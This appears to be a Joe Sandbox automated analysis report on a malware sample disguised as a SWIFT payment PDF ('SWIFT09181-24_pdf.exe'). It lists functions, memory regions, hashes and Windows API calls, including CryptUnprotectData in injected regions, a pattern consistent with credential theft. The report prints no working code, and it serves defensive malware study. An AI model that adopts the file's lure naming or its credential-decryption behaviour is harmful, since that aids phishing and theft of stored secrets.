Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: SWIFT09181-24_pdf.exePID: 6020, Parent PID: 3372COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.7%
Total number of Nodes:	36
Total number of Limit Nodes:	0

Executed Functions

Function 00155F90 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 001561DA
(o^q, xrefs: 001561E8
,bq, xrefs: 00156260
,bq, xrefs: 00156252
(o^q, xrefs: 00156505

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 07fcd04cdabdf48ba845cd9b08121edf13511035c901dd95cf2002b70368f4e1
Instruction ID: 2c5b4e0431c06d2f599263ddc3bfc05996009ce71177b2cf6e7055a030a54797
Opcode Fuzzy Hash: 07fcd04cdabdf48ba845cd9b08121edf13511035c901dd95cf2002b70368f4e1
Instruction Fuzzy Hash: EC124130A00219DFCB15CF69C994AADBBF2BF88316F558065E825DF261DB31DD89CB90

Function 00154328 Relevance: 6.4, Strings: 5, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0015452E
LjAp, xrefs: 00154518
0oAp, xrefs: 001543AA
PH^q, xrefs: 00154590
PH^q, xrefs: 001545A1

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 702d89d02b889b3ebe8ce585ae3d6848454f08b7498ee6a0d46a36b76ca51977
Instruction ID: 4f117def9fc5c31635b03fcbd333cedcc7ff54eed15b9ea525642d14b5f95e79
Opcode Fuzzy Hash: 702d89d02b889b3ebe8ce585ae3d6848454f08b7498ee6a0d46a36b76ca51977
Instruction Fuzzy Hash: 3191E774E00218CFDB18DFA9D884A9DBBF2BF89305F14C069E819AB365DB349985CF50

Function 00158DA0 Relevance: 6.1, Strings: 4, Instructions: 1138COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00159AD3
(o^q, xrefs: 001594D8
4'^q, xrefs: 00158DC4
4'^q, xrefs: 00158ECC

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: 9ed30bf50f7bce0c36e99e732d8407e8b8d744ce3c5b49a1e45278b7ccbbab4e
Instruction ID: af3706c98495980e980a573d60a7f5da8ba10e379cf71a2d8bc701c9a3ccc7c1
Opcode Fuzzy Hash: 9ed30bf50f7bce0c36e99e732d8407e8b8d744ce3c5b49a1e45278b7ccbbab4e
Instruction Fuzzy Hash: 42A26E70A04209DFCB15CF68C994AAEBBF2BF88301F158569E815DF261D734ED89CB61

Function 00155968 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00155D6E
(o^q, xrefs: 00155EA2

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: b3ada3af8f18def38d7e87544ddf363f3a5de89d16c44ff731b587e91d23b9e6
Instruction ID: 1b9372ae810c0f6bfc97f4e150f110816e43de50e570e1325114b6810f3571bf
Opcode Fuzzy Hash: b3ada3af8f18def38d7e87544ddf363f3a5de89d16c44ff731b587e91d23b9e6
Instruction Fuzzy Hash: AB128F71A00619CFDB14DFA9C854AAEBBF6FF88301F148569E819DB391DB309D85CB90

Function 3A65BDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Te^q, xrefs: 3A65C796

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 79c79e25fa61aea72beac93f82387e1a0c445c2e1f0ff36ef73738eb26b5e53e
Instruction ID: 72a991e182d68b2edaa6c975e859d8e78a4510550f1d80e8cf23b4cc89d58963
Opcode Fuzzy Hash: 79c79e25fa61aea72beac93f82387e1a0c445c2e1f0ff36ef73738eb26b5e53e
Instruction Fuzzy Hash: 1772C274A05218CFDB25DF64C994BA9B7B2FB89301F1084E9D809B73A4CB719E86DF50

Function 3791D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3791DA45

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: fe4de39160662058438cb34fb75418b012db58666075d5a3cf35944f8a98b8b8
Instruction ID: e1ffde6d9669a36066c1a6c6a141aa56ec226c75e6beab66ba366ce66dab931b
Opcode Fuzzy Hash: fe4de39160662058438cb34fb75418b012db58666075d5a3cf35944f8a98b8b8
Instruction Fuzzy Hash: 0C1126B6800349EFDB10CF99D944BDEBFF4EB48324F148429E954A7211C339A590DFA5

Function 3791D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3791DA45

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 135c4027300a9b819f50e45fe585d637eee4ac3a04f274d02d99a5b4db7848f2
Instruction ID: 694e6d6e73aa22eb3344b164db76a89ec784227223be8d91171fcbef12e7b44c
Opcode Fuzzy Hash: 135c4027300a9b819f50e45fe585d637eee4ac3a04f274d02d99a5b4db7848f2
Instruction Fuzzy Hash: 7F1144B2800249EFDB10CF99C945BEEBFF4EB48320F148419E918A7210C379A950CFA5

Function 3A658650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a832ccffc359d195f0a8b941782d80e4dbf2b9935540d92bda11d4f0247eae
Instruction ID: 2cafaec8f2feee11f7690c4cf5e331f266688233f59511dc17c89aca1bd24ec2
Opcode Fuzzy Hash: 81a832ccffc359d195f0a8b941782d80e4dbf2b9935540d92bda11d4f0247eae
Instruction Fuzzy Hash: C572BC74E052288FEB64DF69C984BD9BBB2BB89300F1491E9E40DA7351DB349E81CF51

Function 3791C638 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ba9eb03fed7559defb6505208f0360b4e0daf070ed107f37f85ead91796c6a
Instruction ID: 60da7567ba9af8b3430c1b2d0c0049f401d795f2e4c841dbe8ab4308869ec211
Opcode Fuzzy Hash: 72ba9eb03fed7559defb6505208f0360b4e0daf070ed107f37f85ead91796c6a
Instruction Fuzzy Hash: 7BE1C074E01218CFEB24CFA5C994B9DBBB2BF89304F2081A9D408BB395DB755A85CF11

Function 379103AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5a2b65ee3561c51a0fdce0288d7fdf9602870338a4a1462810442c3691d6e3
Instruction ID: 71a48061f1eab9010ef3bdc803946e3eff1890e01ac6b3196fe317a8f161ec40
Opcode Fuzzy Hash: 3d5a2b65ee3561c51a0fdce0288d7fdf9602870338a4a1462810442c3691d6e3
Instruction Fuzzy Hash: ACD1C274E00218CFEB14DFA5C954B9DBBB2BF89305F1081A9D809BB364DB759A86CF50

Function 3A6529B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e02faebcaf752a361ca773cd0756f058667a623fd64e4dc853e4732d2e17003
Instruction ID: 8954051c117bb814c7fa36f4da1fb29240ee1bff663a0cc1bf9d2b3fa056682a
Opcode Fuzzy Hash: 0e02faebcaf752a361ca773cd0756f058667a623fd64e4dc853e4732d2e17003
Instruction Fuzzy Hash: 27C1BE74E00218CFEB54DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF11

Function 37910C1B Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2b2c36b25d6ae7125013f68d2eb4713c11090740e48be1141fc44f3d524731
Instruction ID: 681cc4a3f2b8ac34ce273861a50f9b8d2c0e39b803541b31ff33d44f382a4b15
Opcode Fuzzy Hash: ee2b2c36b25d6ae7125013f68d2eb4713c11090740e48be1141fc44f3d524731
Instruction Fuzzy Hash: 16A1E674D00208CFEB14DFA9C5847DDBBB1FF89314F209269E408AB2A1DB759985CF55

Function 37910C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 911ca034369032d5f2e1fc4758c563e6f155ece67199e2e57d8d7ea3c35f8262
Instruction ID: 871ab191c26cd3946d1b34749849133be576ce3585e961704fe50f6eaa5f8edc
Opcode Fuzzy Hash: 911ca034369032d5f2e1fc4758c563e6f155ece67199e2e57d8d7ea3c35f8262
Instruction Fuzzy Hash: CDA1F574D00208CFEB14DFA9C584BDDBBB1FF89314F209269E408A72A1DB759985CF55

Function 3A65A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8bb72d61526963974334e9911c6808facff5455024ac9342b87318c00d8cceb
Instruction ID: ce54c15fd5b471863dce45dc802dd463e3093863db8a016946a41eb120b0ae90
Opcode Fuzzy Hash: d8bb72d61526963974334e9911c6808facff5455024ac9342b87318c00d8cceb
Instruction Fuzzy Hash: 0BA191B5E012288FEB24CF6AC944B9DBBF2AF89300F14C0AAD508A7255DB745A85CF51

Function 3A659D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7079e63bf053350a465f5945d843740a13c6dc3b64dbdec01bae2e50a873d17a
Instruction ID: 7f2c0bed9668930583275c32a2bfca0ccb2973b0c3f4111f5f203d92068d9596
Opcode Fuzzy Hash: 7079e63bf053350a465f5945d843740a13c6dc3b64dbdec01bae2e50a873d17a
Instruction Fuzzy Hash: A4A182B5E012188FEB28CF6AC944B9DBBF2AF89300F14C1AAD40DB7255DB745A85CF51

Function 3A6596C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37fb5a8d4b8ad3c776230c38126ca37105947e884ff1e4f6770357a61b44f3f
Instruction ID: f562fc8917d68b2c6b56be1d42ada21f0d8b84a0d7b2c33c41e1abf38d098b9f
Opcode Fuzzy Hash: c37fb5a8d4b8ad3c776230c38126ca37105947e884ff1e4f6770357a61b44f3f
Instruction Fuzzy Hash: 1DA192B5E012188FEB68CF6AC944B9DBBF2BF89300F14D0AAD40CA7255DB345A85CF51

Function 3A65A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975ca32194c90dc42f8f7dda401963e659bac2592a46f91d30fa4cacfbbd992d
Instruction ID: 48c19a617f4a0ae68ef76d1cf52ac2003366db25ead46d3992384d957a60475c
Opcode Fuzzy Hash: 975ca32194c90dc42f8f7dda401963e659bac2592a46f91d30fa4cacfbbd992d
Instruction Fuzzy Hash: 00A192B4E012288FEB24CF6AC944B9DBBF2BF89300F14D1AAD409B7255DB345A85CF51

Function 37910F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ab262fe77f3e8538abfef6111f7632f0cfdb0e7b7eb74e93be6c2e14df30b3
Instruction ID: 52e340ac6e82ef21de793451b599abea51fc53d2f22f73e28447a54db3eb68e6
Opcode Fuzzy Hash: 56ab262fe77f3e8538abfef6111f7632f0cfdb0e7b7eb74e93be6c2e14df30b3
Instruction Fuzzy Hash: 1891D274D00208CFEB10DFA9C989BDCBBB1FF49314F209269E409AB2A1DB759985CF55

Function 3A65BA97 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89157a5f6f92b8c30f2cd89dc71db8dbb0218827f779c8e73c780ec23176b40
Instruction ID: 2cd8a1a0a699c54c68432c00828805ca1b507d99708ea04c5c2182ad6722ebec
Opcode Fuzzy Hash: f89157a5f6f92b8c30f2cd89dc71db8dbb0218827f779c8e73c780ec23176b40
Instruction Fuzzy Hash: 6481F674E01608CBEB14DFEAD95069DBBF2BF88300F24D529E814AB355EB345942CF55

Function 3A658640 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79f3099acd54657725c129b43380af449c870ed169f428976bccd3d0bc57ff6
Instruction ID: 5afb0af389dae3d8c5c0a281b5db41ee3bf8af7ea531a2b9b10cbf5f3ae15293
Opcode Fuzzy Hash: a79f3099acd54657725c129b43380af449c870ed169f428976bccd3d0bc57ff6
Instruction Fuzzy Hash: A371B675D06228CFEB64CFA6C9847DDBBB2BF89301F1490AAD409B7254DB355A86CF40

Function 3A65A9A0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3b8fff0ccabaf1678aba774f16d21648f2ccefc1bdfc43e980339cbceae0683
Instruction ID: 7d88556ee3f2c1f0ef6557735f3a90bc0de80f45c694a76c58b298c5d7b24a5a
Opcode Fuzzy Hash: e3b8fff0ccabaf1678aba774f16d21648f2ccefc1bdfc43e980339cbceae0683
Instruction Fuzzy Hash: 978193B4E016188FEB28CF6AC954B8DFBF2AF89200F14C1EAD40CA7255DB345A85CF51

Function 3A6596B8 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5e43222a5f8dd423bbdf8f44c40b418df50ea26682126b36a4f069b97bce51
Instruction ID: 1f161e7e8988c71f43dafa3549967f34456f5008ad80dd83b18eb19444478436
Opcode Fuzzy Hash: 5d5e43222a5f8dd423bbdf8f44c40b418df50ea26682126b36a4f069b97bce51
Instruction Fuzzy Hash: 088183B5E016188FEB68CF6AC944B9DBBF2AF89300F14C1EAD40CA7255DB345A85CF51

Function 3A659D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ea69247789fa24ce19707266be03c6a7d636f0d7a1920d2ded6b28a1c076bd
Instruction ID: 0c101a081f766d223389ac285d19931c2feb65f6db5397e95db2c48080b1ce6d
Opcode Fuzzy Hash: d3ea69247789fa24ce19707266be03c6a7d636f0d7a1920d2ded6b28a1c076bd
Instruction Fuzzy Hash: BB516AB1E016188BEB58CF6BC945789FBF3AFC9204F14C1AAC50CA6255DB7419868F51

Function 3A65A352 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeaf07431ad71b35bfd8943dcc0727188130d08146627812632e58ea4b332b9c
Instruction ID: 22f8322773584e0bff0acf6ae1f8d155c42481170e47305559365bbf8df1bf4d
Opcode Fuzzy Hash: aeaf07431ad71b35bfd8943dcc0727188130d08146627812632e58ea4b332b9c
Instruction Fuzzy Hash: 844167B1D016188BEB58CF6BC9447CAFBF3AFC9200F14C1AAD50CA6254EB740A858F51

Function 001566B8 Relevance: 10.5, Strings: 8, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00156BD7
(o^q, xrefs: 001566F6
(o^q, xrefs: 001567DD
,bq, xrefs: 00156B68
